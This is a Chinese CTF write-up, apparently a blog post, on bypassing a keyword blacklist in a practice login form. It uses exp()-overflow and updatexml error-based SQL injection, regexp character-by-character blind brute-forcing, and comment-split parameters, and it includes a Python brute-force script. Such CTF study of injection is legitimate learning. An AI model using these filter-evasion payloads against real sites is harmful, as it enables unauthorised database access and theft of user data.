sql之exp(updatexml)盲注突破黑名单过滤

题目来源

题目链接

题目给的是一个一个登陆界面,源代码提示了数据库查询语句:

1
$sql="select * from users where username='$username' and password='$password'";

开始以为登陆上去就行了,于是尝试万能密码、sqlmap post登录框等等,发现有关键字识别。

比如分号、等号、井号等等。

经过多次尝试,发现一个可以利用的payload

1
username=admin&password=' or 'bw' BETWEEN 'aw' AND 'cw%00

但是登陆进去后并没有想象中的flag,只是告诉你成功进来了。再结合这道题的名字:报错注入,推测应该是盲注。

盲注的一般套路在这里不行,因为他把ascii、substring、substr、mid甚至limit都过滤了。放弃常规思路。

后来查到利用exp溢出缺陷注入,具体payload如下:

1
1' or exp(~(select * from(select (database())a)) and 'bw' BETWEEN 'aw' AND 'cw%00

这句话可以直接查询到数据库名,为 error_based_hpf.

exp原理看链接

需要注意的是,这个payload后面一定要跟 and ‘bw’ BETWEEN ‘aw’ AND ‘cw%00,原因是原来的查询语句后面有个分号,只用exp的话无法闭合整条语句。

查到数据库之后就是爆破表名,开始的时候用的是这个:

1
username=admin&password=1' or exp(~(select * from(select table_name from information_schema.tables where table_schema REGEXP 'error_based_hpf')a)) and 'bw' BETWEEN 'aw' AND 'cw%00

但是提示说查询结果超出一行,无法显示,考虑用limit。但是limit被过滤,利用limit一位一位暴不行,换思路。

exp爆破有这样一个方法:

1
select*from(select(concat(@:=0,(select count(*)from`information_schema`.columns where table_schema regexp 'error_based_hpf' and@:=concat(@,0xa,table_schema,0x3a3a,table_name,0x3a3a,column_name)),@)))x

可以将整个数据库的结构爆出来,包括表名和字段,但是悲剧的是里面必须有等号,这个payload里为啥有@:=这个组合还没搞明白,但是没了就不行,用别的替换也不行。(like也被过滤)

再换思路

百度的时候发现一种方式正则注入,通过regexp实现(之前测试的时候的它代替等号),于是有以下payload:

1
select * from user where username='admin' and 'passwd'=1 or exp(~(select * from(select 1 from information_schema.tables where table_schema regexp 'error_based_hpf' and table_name regexp '^a[a-z]')a)) and 'bw' BETWEEN 'aw' AND 'cw'

这个和limit类似,也是一位一位的爆破,每次payload改变的地方在就在 ‘^a[a-z]’ 这里,首先猜解第一位,从a到z不断增加,再到数字,知道页面变化不同。第二位就是在第一位出来的基础上再从a开始猜解,以此类推。

但是还有个小问题,正则表达式中短杠被过滤了(o(╥﹏╥)o),真是日了狗。换一下:

1
2
3
4
username=admin&password=1' or exp(~(select * from(select 1 from
information_schema.tables where table_schema regexp 'error_based_hpf' and
table_name regexp '^fa[a|b|c|d|e|f|g|h|i|j|k|l|m|n|o|p|q|r|s|t|u|v|w|x|y|z|_|0|1|2|3|4|5|6|7|8|9]')a))
and 'bw' BETWEEN 'aw' AND 'cw%00

这种方法得到两个数据表:ffll44jj,user。

然后构造爆破字段的payload:

1
2
3
4
5
6
username=admin&
password=1' or
exp(~(select * from(select 1 from information_schema.columns where table_name regexp 'ffll44jj'
and
column_name regexp '^a[a|b|c|d|e|f|g|h|i|j|k|l|m|n|o|p|q|r|s|t|u|v|w|x|y|z|_|0|1|2|3|4|5|6|7|8|9]')a))
and 'bw' BETWEEN 'aw' AND 'cw%00

这个在本地测试是通过的,但是、、、、、
服务器又TM报错了

1
Got error 28 from storage engine

查了一下说是与服务器缓存不足有关。艹,上个题也是这样,快拿到flag了出现这个错误,但是我感觉payload没问题呀,wc

下面是爆破表名的脚本,爆破字段的话那个payload还不行(日狗),下次通过了再更新、、、

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
# -*- coding: utf-8 -*-

import requests

url = 'http://ctf5.shiyanbar.com/web/baocuo/index.php'

char = 'abcdefghijklmnopqrstuvwxyz1234567890_'

char = list(char)

def post_url(payload):

username = "admin"
#数据表爆破
password = "1' or exp(~(select * from(select 1 from information_schema.tables where table_schema regexp 'error_based_hpf' and table_name regexp '^"+payload+"[a|b|c|d|e|f|g|h|i|j|k|l|m|n|o|p|q|r|s|t|u|v|w|x|y|z|_|0|1|2|3|4|5|6|7|8|9]')a)) and 'bw' BETWEEN 'aw' AND 'cw%00"
#列字段爆破

data = {'username':username,'password':password}
r = requests.post(url,data=data)

if("select '1' from dual" in r.content):
return payload
# else:
# print '[*]wrong:'+payload

def get_flag(ex):
if(ex==0):
for i in char:
if(post_url(i)):
print i
get_flag(i)

else:
for i in char:
if(post_url(ex+i)):
print ex+i
get_flag(ex+i)

get_flag(0)

PS:后来我用别人的wp还是报那个错,应该是服务器问题了

大佬的payload

1
2
获取表名字
username=&password=' or exp(~(select * from(select group_concat(table_name) from information_schema.tables where table_schema regexp database())a)) or '
1
2
获取字段名
username=&password=' or exp(~(select * from(select group_concat(column_name) from information_schema.columns where table_name regexp 'ffll44jj')a)) or '
1
2
获取flag
username=&password=' or exp(~(select * from(select value from ffll44jj)a)) or '

另一个思路是在username字段进行利用updatexml报错函数进行http分割注入

1
2
3
4
5
username=1′ and updatexml/*&password=*/(1,concat(0x24,(select database()),0x24),1) and1

这个构造语句把中间的password参数给注释掉了,形成了完整的updatexml报错函数

在=号被过滤的情况下,可以用 regexp database()或者regexp ‘ffll44jj’,in (6572726f725f62617365645f687066),!(table_schema<>database())或者 !(table_schema<>’error_based_hpf’)

PS:补充一下 updatexml 报错注入

updatexml报的错是Xpath格式错误:

1
ERROR 1105 (HY000): XPATH syntax error: ’:root@localhost’

为什么报这个错呢,这就要从updatexml函数说起:

1
UPDATEXML (XML_document, XPath_string, new_value);

函数有三个参数,第一个参数:XML_document是String格式,为XML文档对象的名称

第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。

第三个参数:new_value,String格式,替换查找到的符合条件的数据

作用:改变XML_document中符合XPATH_string的值

如果我们构造如下语句:

1
http://www.hack.cn/sql.php?id=1 and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)

CONCAT(str1,str2,…)

返回结果为连接参数产生的字符串。如有任何一个参数为NULL ,则返回值为 NULL。

通过查询@@version,返回版本。然后CONCAT将其字符串化。因为UPDATEXML第二个参数需要Xpath格式的字符串,所以不符合要求,然后报错。
updatexml注入一条龙

回到题目
我们用的payload如下:

1
username=1' and updatexml/*&password=*/(1,concat(0x24,(select database()),0x24),1) and '1

这里首先解释一下注释的问题,首先题目要求必须post username和password参数,不从数据库语法上看,这两个参数是存在的(url不会把password当成注释),但是带到数据库里执行是,password被注释了,因此构成updatexml注入。

获取flag的payload如下:

1
username=' or updatexml/*&password=123*/(1,concat(0x7e,(select * from (select * from ffll44jj)c),0x7e),1) or '